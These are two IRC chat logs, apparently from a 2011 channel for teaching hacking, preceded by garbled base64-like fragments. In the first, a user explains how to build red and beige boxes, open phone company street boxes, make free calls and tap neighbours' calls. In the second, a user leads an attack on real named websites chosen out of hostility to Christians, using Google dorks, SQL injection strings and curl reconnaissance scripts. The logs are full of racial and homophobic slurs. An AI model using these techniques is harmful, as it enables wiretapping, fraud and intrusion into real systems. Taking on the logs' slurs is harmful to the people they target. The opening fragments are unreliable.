/AABEIAHYAdwMBIgACEQEDEQH/xAAcAAACAgMBAQAAAAAAAAAAAAAABgQFAQIDBwj
/xAA9EAACAQIEAwYDBQcCBwAAAAABAgMEEQASITEFBkETIlFhcfAHMoEUQlKRsRUjYqHB0eFDchYXJCWCkvH
/xAAZAQADAQEB
<figgybit>
AAAAAAAAAAAAAAAAAQIDBAX/xAArEQACAgECBAYBBQEAAAAAAAAAAQIRAxIhEzFRYQQiQXGB8DIUkdHh8Q
/2gAMAwEAAhEDEQA/APccL/PnMDUVDNOgBdQAl9RmYgAkeV7
/AExfZxiq5o4GlbSy07tlEg0bfKwN1NutjbTG/h3jWaDy
/jav2vcTFSDk2uEUU8XEpmqjkd1la8BBsWXswNANvPy6VPNXFgOLSRVFfPRwCBGHZOwHaaaWyncXO3TFn+x
<figgybit>
ljbhfMlVxSWmpgZaf7OM1eykoS6kqIwRtmsT9T+HDLydy7PQyzw5w9ETnguxLx33S1vl879PM47cq8uyU9VXy
/DqB/scdfUVlS/wC7kZ0eTNGACbm1r3AF98VXJvMtUK2Capkc0/Ee2EKMTaNlbuADYXGgtvfFweTqteCJQIYx
<figgybit>
Ke7I2Y5QhcsbG1ySLC3mcceN/CSMQD7HJItREUaIySsVBUj7uoXx0G+NuN4WU8nEkvPJxWy8sVdP0rdp30iLct
/zxn4nVlRHTxmAyrH2qioeEXkWLqVHT19MQajgXEU4hJWQLTEywRxssjvYEBc1soH3hofDE2v4fxSaGNxJDBVC
/l6Xvjk0445sWVShSjFNN+tb2vf1ruMq/h/xFXq2FPxF6mAx3aGpLGZX
/EpKgFfHXr6HHpGELg3K1XJxFK2rWnhMSMqpBclyQRd2O+5/lh8vjk/6MscsqcHeyvlz6Wkk
/ehozgxi+DHnDFXnvmWSjgjeNY7yTJEXmzCKINfvyZdba
<figgybit>
W33IwvwfESpmgpFiig+01VRNCjN2nYFIrlpl++UItYX8cX/OvLktWtOYTGXp51lEcwJiksCMrgaje4Njrhcp
/hzVRJDNHJAKuKqmqQlnEAEqhWiW3eAAAINt7+uGIauUOZWrKMTMgSQNIkigkqHQlTYn7vXXxwhcM+Mc8nD
/KSC1/uybHoMPfJ/LTUdEIHdXkYySSMoIXO5JNhvlFwPphKoPg
/KjUjNNH+5p3jkUZrNL++7Jx3dQvabnXTTCAYqD4lwCkpZKkkTTQduyQxySBE1BkYDMVjBHzHw8sdB8SIf2h9
/b2YrYgNe9sojCXOcm19NDhbn+FNQFgMbwO60a0siu9QiXUkh1MZBca2KNof0sar
<figgybit>
4bSmUCN4hBJw/wCxS6OGW1yHiW5BGa2jHa+AZe0nxGopEkYPIoiiM5zxSIWhH+pGGAzr5jHNPidRFEZDM+d
/wuqBDMkhpw5o3po2V6lySwtnYuSEW1u4q2vtbFrzLyHLPBRRqtPKaaMIwkMsZuEVc0U8feXVfltY6YAHLhfFI6i
/FT/M126IurH6dMU9Nzg5e7xKsfgCc1vHwPpioj4VYE7tc5r
/MSN9+vljmFucAz0GCoV1DKbg9RjphJ4dxB6d9jY2zKdL+fkcN1NUrIoZDcH3b1wC
<figgybit> O5wYwMGGBzW+Mi/wCfv+2Nc2Ae/f5YZJuTjBxoT79/TGc++AZvm9+
/0wA41ZsQeOSEQMRptfp3ev01wJWJukTZ6lUUs7BQOpNsLVbzW8l1pUuNjI2w9B1xVU3C4nupvmZswBdirH8N
/gBiVURgDu2PQf39enhjq0dyPDbAtPcm58CLg66+mvTElkV2djmG57txpv099MbtAEOupvr0t5ef9sSHksNAPP8

/58MS46UsSEW1iR9R1H00I6+WIPGeYqWiHfIkl6IpGnr4DAA401UroGU6H6fQ+
<figgybit> BG1sYwqci8dmqWmeWMIjZWQbeV/HUW18sGGSNRbxxtm9+/TAR79/XGANvfvrphiDQe
/fhgBt09+xtjUD3p78cDuALsQBqb+X9tTgEbMffpb344ruLzqqkOwC2N7n6enTGpr3l0hUZTvI18v
/AI9W33GnnjmOHqpDuS8l75m6f7VGi77jXxJxSJlyPOuNpKjxlO0Gqq+hBMdzqEOt765ja2XbDfQcQ7Xusf3q72
/1FH3h/GOo6jUeGOfHKZqjRBZgSQ3mTt9b4oqSmKscxIdT46g9CDjpcVKO/M5IzcJbchve1geh6jAiE6fX1
/qcRaWqEik2s6jvqOo/Go/UdP0sKWnMgzAgAbk6beflJjap0ehGSkrRxNORe2jX10OxHQj0xtWdlC
<figgybit>
va1DhF89yfJd736DFDzJ8RqekBSC00v4t0U+XifTTCFOlRXEz1cpSMdW008FXYDAothKSjzGHjXxClqGMFEhRdiF
/u/vxxh5PPp7/AFGIVXxJUIGrOflRRdj5gdLG1ydPE4immkl1mbInSNCddPvyfloNPM4KCzu/FiWKRL2jg620C
/7m2HTTfyxgUFzmmbtCNQu0Y3+7971N
/QYO3WMZEAAGwUAD6C3kMbJTM++nsbH6HTDoWrodJKs6hen+f8Y1SkJPe6XN
<figgybit>
vr/j0xIjgsD6em9vy66Y0qqtIwWdgAPHTx8fXrgvoOuodgANBbT2P5emFzmNIywyt+9GgCjMW6WsBckAbDbrp
/Kh2Hm//qca9lHCDkGpBuxOZm33Y6n00GLi2ZzSo844cJ46skF44jmcAMLrID9465b/AIQT0vfbEHi
/M1bUO1GHuc2ay2UMp+8fLxG2+GrmDhkk5MqDLbcDdt769TYbDCnVIC94wwlClM4BUqL6
/Xf88byipLc5o5XB9iPHSw0pGf8A6io6KPlU+fu+J9HwqarcNLqNLKPlG2w
/rvidy3ydexIvfUkjfb3449E4VwhYgLDWw6D9fZxDajsi0pZHciDy/wArrHYkeB/TDJBFYAD3t7vjCCxH06
<figgybit> enu++BOn+f4fd8YN2dKiktjoTYaa4zjix06/kT4bf3wYVDsjMEjzOqgFvmIFiT0uba9MR7s/kPUfz
/AC33xNdR129D72GwxlRbTwt7/XzxdkVZpFQhQP59fAXI/PXHe/U
/z96i5xX1vFVjsp7zt8qLqxP8K79dzoOtt8RWppJtZzlS2kSNuNfncb7fKpA8ScKmytkSZuMFiVgAcj5m+4tr6MwB1
<DrAnthrax> Whoa my nigga!
<figgybit> whoa! sorry
<DrAnthrax> Lulz
<DrAnthrax> Hang on let me find you a picture of a crystal
<xochipilli> wow
<xochipilli> rude
<figgybit> ok thanks
<figgybit> yeah sorry
<xochipilli> <3
<DrAnthrax> http://www.tradeeasy.com/photo/seller/8075/sgraphic/1273557628802_1.jpg
<DrAnthrax> Ok, shit looks like this
<DrAnthrax> Although the two terminals sticking out of it will be way smaller
<DrAnthrax> They sell them big so you can clip them to the size you need
<figgybit> ok cool
<DrAnthrax> Now, like I was saying
<DrAnthrax> It's attached to the circuit board with two little bits of solder, one on each terminal
<DrAnthrax> and if you dunno how to use a soldering iron, you MIGHT let those two dabs run into
eachother and go together
<DrAnthrax> Now it's very important that you don't do this
<DrAnthrax> otherwise you need to start over with a new tone dialer, and while they aren't expensive
or anything it's still a hassle
<DrAnthrax> And to be honest you should buy two because this probably will happen at least once
when you are still trying to learn how to use a soldering iron
<DrAnthrax> So yeah, be careful and watch out for that shit
<xochipilli> light cigarettes w/ a soldering iron
<xochipilli> run out of building
<DrAnthrax> A true phreak respects his soldering iron way too much to light a cigarette with it
<xochipilli> oops
<DrAnthrax> It's the phreaking tool of choice
<xoxo> (bytheway, i got the logging going on)
<DrAnthrax> Sweet
<xochipilli> iono
<xochipilli> id like to challenge a true freak to spend a day working w/o lighter
<xochipilli> with a pack of cigs
<xochipilli> and a soldering iron
<xochipilli> :3
<DrAnthrax> I feel you. I'd do the same thing
<xochipilli> haha
<DrAnthrax> But I make sure to carry a lighter
<DrAnthrax> It's the other phreak tool of choice
<xochipilli> smoke drugsssssssssssssss
<DrAnthrax> So yeah, making a redbox is easy
<DrAnthrax> The hard part is finding a phone to use it
<DrAnthrax> Some places it's easy
<DrAnthrax> Some places it just won't happen
<DrAnthrax> In big cities you stand way less chance than small towns
<DrAnthrax> So if you live in a big city, the best choice is to find one of those COCOTs I mentioned
earlier
<DrAnthrax> But…even if you live in a big city, your phreaking fun is not phucked
<DrAnthrax> and that brings me to lesson 2, the beige box
* lolwat (~lolwutder@LulzCo-E8B02DB8.privacyfoundation.ch) has joined #school4lulz
* ChanServ gives voice to lolwat
xochipilli> i didnt know people still phreaked
<xochipilli> outside of like voip, which isnt rly phreaking
<DrAnthrax> Dude I"ve been phreaking since '99
<DrAnthrax> And most of the shit still works
<xochipilli> heh
<torify> hi
<DrAnthrax> Or you need to modify it a bit

<DrAnthrax> Like with the redbox, you need to use a different crystal and it doesn't work in every phone
<DrAnthrax> But yeah, I pheel you, there's no REAL reason to phreak anymore
<DrAnthrax> Other than because it's fun
<DrAnthrax> Or "phun" as we say in the phreaking community
<figgybit> thanks for the lesson !
<figgybit> i got to run to 'the shack'
<DrAnthrax> No worries figgybit
<xoxo> DrAnthrax: the end?
<DrAnthrax> Nah I was going to talk about beige boxes too
<xoxo> all righty DrAnthrax
<DrAnthrax> Which is a linesman's handset
<DrAnthrax> This is the same piece of equipment that the phone engineers use to test lines
<lolwat> just out of curiosity (and to create a good ol' editors war)
<DrAnthrax> But you can make one yourself in your home
<figgybit> great more
<lolwat> do you use either vim, emacs or other editor?
<DrAnthrax> Again you need a soldering iron
<DrAnthrax> lolwat: emacs
<torify> vim
<DrAnthrax> People who use vim are the lowest form of life on this earth
<xoxo> guys don't fuck up the lesson
<lolwat> I use vim <3
<lolwat> aw, there was a lesson going on?
<lolwat> soz
<DrAnthrax> No worries
<xoxo> lolwat: it's all right
<DrAnthrax> Anyway, the linesmans handset, or beige box
<DrAnthrax> To make one, all you need is an old school corded phone
* yamazaki has quit (Quit: http://www.mibbit.com ajax IRC Client)
<DrAnthrax> and two alligator clips
<DrAnthrax> and some solder
<DrAnthrax> and a soldering iron
<DrAnthrax> But all phreaks should have a soldering iron, that's the first thing you buy
<DrAnthrax> So yeah, it's really simple to make
<DrAnthrax> You just cut the handset from the base of the phone
<DrAnthrax> And solder two aligator clips to the two wires
<DrAnthrax> I mean this is easy as phuck, I used to do it when I was 11
<DrAnthrax> Now, at this point, you need to find one of the phone company exhanges, they are like green boxes in the street
<DrAnthrax> That's how they look in the suburbs anyway
* DoubleD has quit (Remote host closed the connection)
<DrAnthrax> In inner city places they are underground but you don't want to do this there anyway, because people will see you
<DrAnthrax> Now, if you open up one of these green boxes, you'll see a ton of terminals
<DrAnthrax> make sure this is a phone company box btw, and not power! The phone company logo will be on it
<DrAnthrax> You use a square hex wrench to open it
<DrAnthrax> The size varies
<DrAnthrax> But it's usually a small one
<DrAnthrax> I mean maybe smaller than you have in a normal socket set
<DrAnthrax> so yeah, open up the box, and you'll find terminals. Each one of these terminals is linked to your neighbours phone lines
<DrAnthrax> Now at this point, you can clip the alligator clips of your beige box to the terminals
<DrAnthrax> And you can make free calls (using an unmodified radio shack tone dialler to dial)
<DrAnthrax> But that's not really worth sitting in the ground for
<DrAnthrax> The best thing is listening to other people's calls
<lolwat> DrAnthrax, being I a total noob on phreaking:
<lolwat> is it possible to cross lines?
<DrAnthrax> Yes! Now you are thinking
<lolwat> like "redirect" to my line?
<lolwat> (i am lazy xD=
<DrAnthrax> well, don't do that
<lolwat> (don't like the outside light)
<DrAnthrax> Because if you do, the phone company guy will open up the box
<DrAnthrax> and be like "Hmm some clown crossed these lines"
<xochipilli> DANERGOUS HOOLIGAN
<xochipilli> DISRUPTING TEL COM COMMUNICATIONS
<DrAnthrax> And if your neighbour phones up the phone company and is like "WTF I didn't call Venezuela "
<xochipilli> CALL THE SECRET SERVICE
<xochipilli> STAT
<lolwat> and can we do the same shit for ADSL?
<DrAnthrax> They'll phreak out
<lolwat> I mean, I use phone lines to access the internet
<DrAnthrax> and not in a cool phreaking way, in a phucked up ma bell way
<lolwat> so, i could (in theory, and provided I have a modem)
<lolwat> have free interwebs…
<DrAnthrax> lolwat: Dude you could go down there and do that, sure, but it wouldn't be a very stable

connection through a pair of alligator clips
<DrAnthrax> I dunno if it would work
<lolwat> tru…
<DrAnthrax> Voice though, no problem
<lolwat> yeah, some interferences, but still hearable
<DrAnthrax> But it's fun to cross your neighbours lines for mischief purposes
<lolwat> *audible
<DrAnthrax> Yeah, actually pretty clear, but maybe not clear enough for good data purposes
<lolwat> i see your point…
<DrAnthrax> If you want to use your neighbours internet, just hack their wi-fi
<DrAnthrax> You can do that without getting your knees wet
<lolwat> I am very unlucky in that regard…
<lolwat> I am the only one with wireless
<lolwat> around my neibourghood
<DrAnthrax> Do some wardriving then
<IR601> <3 znc with 500lines of buffering
<DrAnthrax> But yeah, that's about it for the phreaking lesson today, we've kind of migrated into discussion time
<lolwat> DrAnthrax, is there something else to know? is it really that simple?
<DrAnthrax> Next week I'll be discussing the mysterious rainbow box
<lolwat> just open the box, tap into the wires, and all done?
<DrAnthrax> lolwat: Yep it's that simple
<DrAnthrax> Indeed
<DrAnthrax> Like I say
<DrAnthrax> A beige box is the same tool that engineers use to check lines
<lolwat> and phreaking should be done, like, at night… am i right?
<DrAnthrax> Yes
<xoxo> DrAnthrax: gimme a kick when you END. really.
* Gralon has quit ()
<DrAnthrax> xoxo: I think we're done, unless you want discussion included in the log?
<lolwat> now I have a new activity this summer =)
<xoxo> should I include iT? DrAnthrax
<DrAnthrax> xoxo: Sure, why not?
<xoxo> DrAnthrax: all righty
<DrAnthrax> xoxo: I'll let you know when I'm done in here
<xoxo> ok
<DrAnthrax> lolwat: Yes, it's fun
<lolwat> I bet it is =D
<DrAnthrax> you can tap your neighbours calls too, and record them on a microcassette recorder
<DrAnthrax> But that takes a bit more technical knowledge
<DrAnthrax> You can work it out
<lolwat> this is the equivalent of being on an unprotected wifi, with promicuous packet sniffing =)
<lolwat> reading messenger logs <3
<DrAnthrax> Yes
<xoxo> lolwat: that's nasty :3
<DrAnthrax> It's totally unencrypted etc
<DrAnthrax> so if you have physical access to the mechanism of the lines
<DrAnthrax> You can hear everything that goes on
<DrAnthrax> and use that phoneline yourself
* nonbit has quit (Remote host closed the connection)
<DrAnthrax> But ok, I'm done in here xoxo
<DrAnthrax> Like I say, next saturday
<DrAnthrax> I'll come and do a lesson on the rainbow box
<DrAnthrax> What it is, how to build one, and how to use it
<lolwat> Microtutorial time for promiscuous packet capture? =D
<xoxo> ————————- log end.

Basic web apps hacking (by TylerDurden)

Posted by xoxo on June 11, 2011 None comments

(08:57:28 PM) TylerDurden: ok, let's start shit.
(08:57:40 PM) dominus: let's
(08:57:42 PM) TransfiniteGreyWizard [~important@LulzCo-8312FFBC.torservers.net] entered the room.
(08:57:50 PM) TylerDurden: requesting +m
(08:58:10 PM) TransfiniteGreyWizard: I think I did it wrong
(08:58:12 PM) Silly_Dude left the room (quit: Quit: ChatZilla 0.9.87 [Firefox 4.0.1/20110413222027]).
(08:58:16 PM) TylerDurden: no
(08:58:17 PM) TylerDurden: ur on tor.
(08:58:31 PM) bob_22: time for porno…brb
(08:58:33 PM) TylerDurden: TransfiniteGreyWizard [~important@LulzCo-8312FFBC.torservers.net]
(08:58:36 PM) xRay: Requesting you GTFO
(08:58:38 PM) adh: garrett , what selection of oreilly boogs do you have?
(08:58:39 PM) mode (+m) by LordKitsuna
(08:58:51 PM) TylerDurden: So
(08:58:53 PM) TylerDurden: listen up faggots
(08:59:06 PM) TylerDurden: this talk will be about scoping out easy targets, and info gathering as you've raped them.

(08:59:06 PM) LordKitsuna: TylerDurden, your hop you can set modes :/
(08:59:33 PM) TylerDurden: DONT HALF OP ME on the premise of who you think i am.
(08:59:36 PM) TylerDurden: i could be a fucking fed.
(08:59:44 PM) LordKitsuna: i didnt hop you
(08:59:48 PM) Mutiny: You're already hop lol
(08:59:52 PM) LordKitsuna: was just sayin
(09:00:17 PM) mode (+v z3rod4ta) by LordKitsuna
(09:00:17 PM) TylerDurden: sux.
(09:00:18 PM) TylerDurden: ok.
(09:00:23 PM) TylerDurden: let's continue.
(09:00:35 PM) TylerDurden: We are going to attack live servers in this talk. It is adviced you use a proxy.
(09:00:53 PM) TylerDurden: If you inted to do any of this without one, please just go to the local police station and hand yourself in, it'll be less hassle.
(09:01:27 PM) TransfiniteGreyWizard left the room (quit:).
(09:01:41 PM) Mutiny: I think he went to turn himself in.
(09:01:49 PM) TylerDurden: There are a few firefox addons you will need. ServerSpy, LiveHttpheaders, Hackbar.
(09:02:15 PM) TylerDurden: Install them as i'm going to assume you have them.
(09:02:23 PM) TransfiniteGreyWizard [~important@LulzCo-E723C34E.torservers.net] entered the room.
(09:02:46 PM) TylerDurden: Ok, so let's say you have a group of lulzy individuals you want to troll.
(09:02:54 PM) mode (-m) by TylerDurden
(09:03:00 PM) TylerDurden: i'm taking suggestions for targets.
(09:03:10 PM) z3rod4ta: chinese
(09:03:14 PM) LordKitsuna: the test server we have setup
(09:03:27 PM) LordKitsuna: you know
(09:03:28 PM) TylerDurden: LordKitsuna: contains no dox.
(09:03:29 PM) kratos: any cp site
(09:03:30 PM) LordKitsuna: for testing
(09:03:33 PM) LordKitsuna: oh
(09:03:40 PM) skynyrd [~skynyrd@LulzCo-A1D2A15C.mycingular.net] entered the room.
(09:03:41 PM) TylerDurden: anything with >20k users will do.
(09:03:46 PM) LordKitsuna: xboxlive.com
(09:03:55 PM) TylerDurden: lol.
(09:04:01 PM) TylerDurden: i dont have a week to explain this
(09:04:05 PM) TransfiniteGreyWizard: Too big
(09:04:10 PM) TylerDurden: ok, a GROUP OF PEOPLE that would be lulzy to attack.
(09:04:14 PM) llama: LordKitsuna, is your test server back up?
(09:04:16 PM) TylerDurden: i'll find the target sites.
(09:04:25 PM) LordKitsuna: llama, never went down
(09:04:31 PM) TylerDurden: ok.
(09:04:35 PM) TylerDurden: good old christians then?
(09:04:38 PM) z3rod4ta: how would we find targets?
(09:04:43 PM) adh: why not
(09:04:44 PM) Mutiny: godhatesfags.com
(09:04:51 PM) mode (+m) by TylerDurden
(09:04:55 PM) TylerDurden: ok, we have a target, christians.
(09:05:05 PM) TylerDurden: Now we're going to scope out easy sites, the n00b way.
(09:05:18 PM) TylerDurden: google: christians inurl:.php? inurl:id=
(09:05:37 PM) TylerDurden: this is passive info gathering, as long as you use a proxy admins will not notice this.
(09:05:39 PM) LordKitsuna: http://www.intoleranceagainstchristians.eu/index.php?id=243
(09:05:54 PM) TylerDurden: too small.
(09:06:52 PM) TylerDurden: http://www.ourkids.net/school/school-profile.php?id=35%27 i have found a cool target already.
(09:07:07 PM) Dox: c++ grammar http://weegen.home.xs4all.nl/eelis/cppgrammar.png
(09:07:14 PM) z3rod4ta: http://www.jetzt-tv.net/index.php?id=christianmeyer
(09:07:26 PM) foobar29 [~Adium@LulzCo-4DF181E4.dyn.iinet.net.au] entered the room.
(09:07:27 PM) chune [~chune@LulzCo-1B5299E8.formlessnetworking.net] entered the room.
(09:07:47 PM) skynyrd left the room (quit:).
(09:07:48 PM) start [~start@LulzCo-204A77E4.torservers.net] entered the room.
(09:07:52 PM) TylerDurden: Now we have a target.
(09:08:04 PM) TylerDurden: Let's first automate the googling it shall we.
(09:08:05 PM) Dox: who?
(09:08:08 PM) TylerDurden: We can use google as a webspider.
(09:08:14 PM) TylerDurden: http://www.ourkids.net/school/school-profile.php?id=35%27
(09:08:45 PM) TylerDurden: Google can search by site. site:www.ourkids.net
(09:09:07 PM) TylerDurden: Google is a pain in the arse to automate. so find a commandline prog to do it.
(09:09:36 PM) JBAIT [~JBAIT@LulzCo-6FAD39FD.privacyfoundation.de] entered the room.
(09:10:08 PM) A-Man [~N1ck@F830479A.684F7E5E.3E1F48D2.IP] entered the room.
(09:10:09 PM) TylerDurden: luckily, we can use a google scraper for this.
(09:10:14 PM) TylerDurden: http://www.scroogle.org/cgi-bin/nbbw.cgi
(09:10:37 PM) KroaK left the room (quit: Quit: Leaving).
(09:10:53 PM) z3rod4ta: lol it said i had use in SSL since i am using tor
(09:10:54 PM) Dox: http://www.scroogle.org/cgi-bin/nbbw.cgi == down
(09:10:54 PM) TylerDurden: Everyone here knows how to use curl right?
(09:11:07 PM) dominus left the room (quit: Quit: fuck).
(09:11:18 PM) z3rod4ta: no curl here

(09:11:33 PM) TylerDurden: fuck, got wget?
(09:12:07 PM) z3rod4ta: no but keep going
(09:12:15 PM) FourChanPartyVan [~chatzilla@LulzCo-A35EF89D.perfect-privacy.com] entered the room.
(09:12:26 PM) KroaK [~KroaK@DF9F2B59.F626F976.F525E02.IP] entered the room.
(09:12:57 PM) TylerDurden: ok. we have an easy target, we have google.
(09:13:06 PM) TylerDurden: fuck autom8ing this step then.
(09:13:11 PM) TylerDurden: WE'LL DO IT BY HAND.
(09:13:14 PM) KroaK left the room (quit:).
(09:13:41 PM) Dox: FUCK IT, WE'LL DO IT LIVE
(09:13:48 PM) TylerDurden: http://www.google.com/search?q=site%3Aourkids.net see that it finds all pages related to that site?
(09:13:51 PM) TylerDurden: right.
(09:14:00 PM) TylerDurden: now that we know how to find SQLI, as in the earlier tutorial.
(09:14:04 PM) TylerDurden: we can find vulnerable pages.
(09:14:07 PM) TylerDurden: holler at me.
(09:14:50 PM) Dox: http://www.ourkids.net/camp/ ??
(09:15:05 PM) Dox: Has a form at the bottom
(09:15:05 PM) TylerDurden: http://www.ourkids.net/school/school-gallery-image.php?id=6&image=3040%27
(09:15:09 PM) Mutiny: Tor button doesn't work with firefox 4 still >:(
(09:15:11 PM) Dox: with submit button
(09:15:19 PM) FourChanPartyVan left the room.
(09:15:22 PM) TylerDurden: Mutiny: download the GIT version.
(09:15:28 PM) TylerDurden: Dox: exactly
(09:15:33 PM) TylerDurden: we are looking for any kind of input
(09:15:35 PM) Silly_Dude [~Bugzilla@LulzCo-27779E49.nds.ruhr-uni-bochum.de] entered the room.
(09:15:38 PM) TylerDurden: in the url, or in forms.
(09:15:44 PM) TylerDurden: In case you fags didn't notice that.
(09:15:51 PM) TylerDurden: Now we are going to give it SQL related input.
(09:15:59 PM) TylerDurden: ` or 1=1;– etc.
(09:16:04 PM) TylerDurden: i prefer to use and myself.
(09:16:05 PM) Dox: What kind of MySQL code are we going to use?
(09:16:16 PM) TylerDurden: Dox: mainly load_file.
(09:16:19 PM) z3rod4ta: http://www.ourkids.net/calendar/event_calendar_month.php
(09:16:20 PM) TylerDurden: ok.
(09:16:27 PM) Dox: idk load_fire
(09:16:37 PM) TylerDurden: so you know how to find a bunch of vulnerable urls, and how to find SQLI.
(09:16:46 PM) TylerDurden: holler at me if you dont know how 2 find sqli.
(09:16:51 PM) chune left the room.
(09:16:51 PM) TylerDurden: so i can dick slap you.
(09:17:04 PM) Mutiny: Dick slap me please.
(09:17:07 PM) Mutiny: >.>
(09:17:27 PM) TylerDurden: http://www.immortaltechnique.co.uk/Thread-Ultimate-SQLI-Tutorial SO LEET.
(09:17:29 PM) TylerDurden: ok.
(09:17:33 PM) Mutiny: oh ty
(09:17:54 PM) TylerDurden: this is neither high tech nor advanced.
(09:17:59 PM) TylerDurden: but it's how you can rape sony.
(09:18:40 PM) TylerDurden: tsocks curl http://www.ourkids.net/robots.txt -> 404
(09:18:44 PM) TylerDurden: we're now going to make a bash script with default shit to gather.
(09:18:49 PM) zephyr [~zephyr@4FBDF8E9.A1B84F98.F8DB84ED.IP] entered the room.
(09:18:55 PM) TylerDurden: robots.txt contains shit admins want to hide from search engines.
(09:19:05 PM) TylerDurden: since we use google as a spider, that's shit we have to search trough by hand.
(09:19:17 PM) TylerDurden: (which we're not going today)
(09:19:22 PM) TylerDurden: type vim niggers.sh or something like it.
(09:19:29 PM) skynyrd [~skynyrd@LulzCo-A1D2A15C.mycingular.net] entered the room.
(09:21:00 PM) TylerDurden: tsocks curl -I http://www.ourkids.net/robots.txt
(09:21:04 PM) TylerDurden: see the output of that command?
(09:21:07 PM) TylerDurden: Server: Apache/2.0.52 (Red Hat) mod_perl/1.99_16 Perl/v5.8.5 DAV/2 PHP/5.2.12 mod_python/3.1.3 Python/2.3.4 mod_ssl/2.0.52 OpenSSL/0.9.7a JRun/4.0
(09:21:37 PM) TylerDurden: everyone with me?>
(09:21:59 PM) z3rod4ta: no, where the fuck are you typing those commands at?
(09:22:06 PM) TylerDurden: godammit.
(09:22:10 PM) TylerDurden: a fucking terminal.
(09:22:13 PM) z3rod4ta: at nigges.sh script?
(09:22:27 PM) z3rod4ta: ok
(09:22:41 PM) TylerDurden: just to test it.
(09:22:46 PM) TylerDurden: you will put them in niggers.sh later.
(09:22:54 PM) z3rod4ta: ight
(09:23:01 PM) TylerDurden: i assume you are either using a goddamn window manager or terminal multiplexer.
(09:23:18 PM) ryan1918 left the room.
(09:23:19 PM) ryan1918 [~ryan@7016F228.B696884D.7E210C26.IP] entered the room.
(09:23:24 PM) null-: screen Ñ=
(09:23:35 PM) ryan1918 left the room.
(09:23:35 PM) idolin left the room (quit:).
(09:23:35 PM) ryan1918 [~ryan@7016F228.B696884D.7E210C26.IP] entered the room.

(09:23:35 PM) mode (+h ryan1918) by ChanServ
(09:23:41 PM) ryan1918: hmm
(09:24:15 PM) TylerDurden: any more basic questions about bash?
(09:24:23 PM) garrett: i wish i had a netbook
(09:24:25 PM) garrett: :<
(09:24:31 PM) Mutiny: I wish i had a jetpack
(09:24:41 PM) garrett: i wish a had a jetpack that was also a netbook
(09:24:42 PM) Dox: I wish I had rocket boots
(09:24:50 PM) Dox: and a netbook
(09:24:56 PM) thatsnice [~puddi@LulzCo-822BD682.ipredate.net] entered the room.
(09:24:59 PM) KroaK [~KroaK@LulzCo-2377F13.torservers.net] entered the room.
(09:25:01 PM) ryan1918: i wish i had sum better drugs
(09:25:07 PM) Dox: netbooks = under $200
(09:25:07 PM) bebop [~bebop@LulzCo-CAD7DCCC.hsd1.il.comcast.net] entered the room.
(09:25:18 PM) d0ct0r [~d0ct0r@LulzCo-50E309FA.lightspeed.miamfl.sbcglobal.net] entered the room.
(09:25:24 PM) ryan1918: i got 2 netbooks
(09:25:30 PM) TylerDurden: "$(tsocks curl –silent -I http://www.ourkids.net/robots.txt | grep "404 Not Found")" =="" shows if there's a robots.txt
(09:25:33 PM) ratch3t [~ratch3t@LulzCo-832EFD5C.hsd1.ca.comcast.net] entered the room.
(09:25:34 PM) garrett: man this beer is tasty
(09:25:34 PM) Dox: mail garrett one
(09:25:37 PM) TylerDurden: we'll use this trick to find any file.
(09:25:37 PM) xvx [~xvx@4F50F7B2.5A4183A7.C6D861A6.IP] entered the room.
(09:25:42 PM) ryan1918: bbl
(09:25:43 PM) TylerDurden: also stop spamming.
(09:26:09 PM) MoDahkah [~White@LulzCo-9C557BFD.dhcp.insightbb.com] entered the room.
(09:26:30 PM) mode (-bbbb *!*Guantenk@*.DB5C8CD3.950BBD03.IP *!*fliprez@*.sub-166-144-174.myvzw.com *!~hellother@34D6CFB5.A3F8D5B9.49BE9084.IP Snafu!*@*) by ryan1918
(09:26:31 PM) mode (-bbbb *!John123@2082E06A.24D6463C.2B8F0750.IP *!root@LulzCo-66EC7A8B.eastridgetn.gov *!krashed@LulzCo-E2836C85.crownpoint.in.gov *!*Nigr0@*.zionism) by ryan1918
(09:26:31 PM) mode (-b notacop_honest!*@*) by ryan1918
(09:26:36 PM) TylerDurden: file_exists(){ "$(tsocks curl –silent -I http://www.ourkids.net/robots.txt | grep "404 Not Found")" =="
(09:26:39 PM) TylerDurden: }
(09:26:51 PM) TylerDurden: bash parametrisation lets us use $1 for the url.
(09:27:06 PM) TylerDurden: making "$(tsocks curl –silent -I $1 | grep "404 Not Found")" =="
(09:27:28 PM) skynyrd left the room (quit:).
(09:28:03 PM) TylerDurden: file_exists(){ "$(tsocks curl –silent -I $1 | grep "404 Not Found")" =="
(09:28:07 PM) TylerDurden: }
(09:28:09 PM) TylerDurden: file_exists http://www.ourkids.net/robots.txt || echo aids
(09:28:20 PM) TylerDurden: now chmod +x niggers.sh && ./niggers.sh
(09:28:34 PM) TylerDurden: you now have a shell script that checks if robots.txt exists.
(09:28:49 PM) d0ct0r left the room.
(09:28:57 PM) rocket [~rocket@LulzCo-2377F13.torservers.net] entered the room.
(09:31:22 PM) TylerDurden: now that you can check for robots.txt automagically
(09:31:28 PM) TylerDurden: there's info to pull from the headers, automagically.
(09:31:33 PM) TylerDurden: same shit, use bash.
(09:31:40 PM) TylerDurden: i'll give you 2 minutes to come up with a way.
(09:31:43 PM) TylerDurden: after that i'll post my code.
(09:32:30 PM) z3rod4ta: livehttpheader?
(09:32:39 PM) TylerDurden: we're automating shit
(09:32:49 PM) TylerDurden: the point is that we do this once by hand.
(09:32:55 PM) TylerDurden: and then all by bash scripting.
(09:33:22 PM) xvx left the room.
(09:34:39 PM) mode (-m) by TylerDurden
(09:34:44 PM) TylerDurden: well, anyone got a script?:P
(09:35:10 PM) ***Mutiny wishes
(09:35:33 PM) ***JBAIT thinks tyler is tooooooo optimistic
(09:35:58 PM) TylerDurden: ok.. what about message board systems.
(09:36:01 PM) Bnannerz left the room (quit: Quit: Leaving).
(09:36:02 PM) TylerDurden: how the fuck do you identify those.
(09:36:09 PM) TylerDurden: wordpress, how do you identify it?
(09:36:18 PM) TylerDurden: protip: if you don't know firefox->view source.
(09:36:47 PM) Arsis [~ihateu@LulzCo-5B8A9C83.dynamic.swissvpn.net] entered the room.
(09:37:04 PM) TylerDurden: in general, any line with "version" in it might be important.
(09:37:09 PM) TylerDurden: 
(09:37:41 PM) zone: grep + sed?
(09:37:55 PM) TylerDurden: exactly.
(09:38:12 PM) ***zone works on his sed
(09:38:24 PM) Mutiny: I identify wordpress by typing /wp-admin after a url
(09:38:38 PM) Mutiny: :L
(09:39:01 PM) TylerDurden: exactly
(09:39:05 PM) TylerDurden: more suggestions?
(09:39:06 PM) Mutiny: oh
(09:39:11 PM) Mutiny: i thought i was a newb for saying that
(09:39:12 PM) Mutiny: XD
(09:39:17 PM) TylerDurden: this is newb shit.
(09:39:21 PM) TylerDurden: suggestions people.
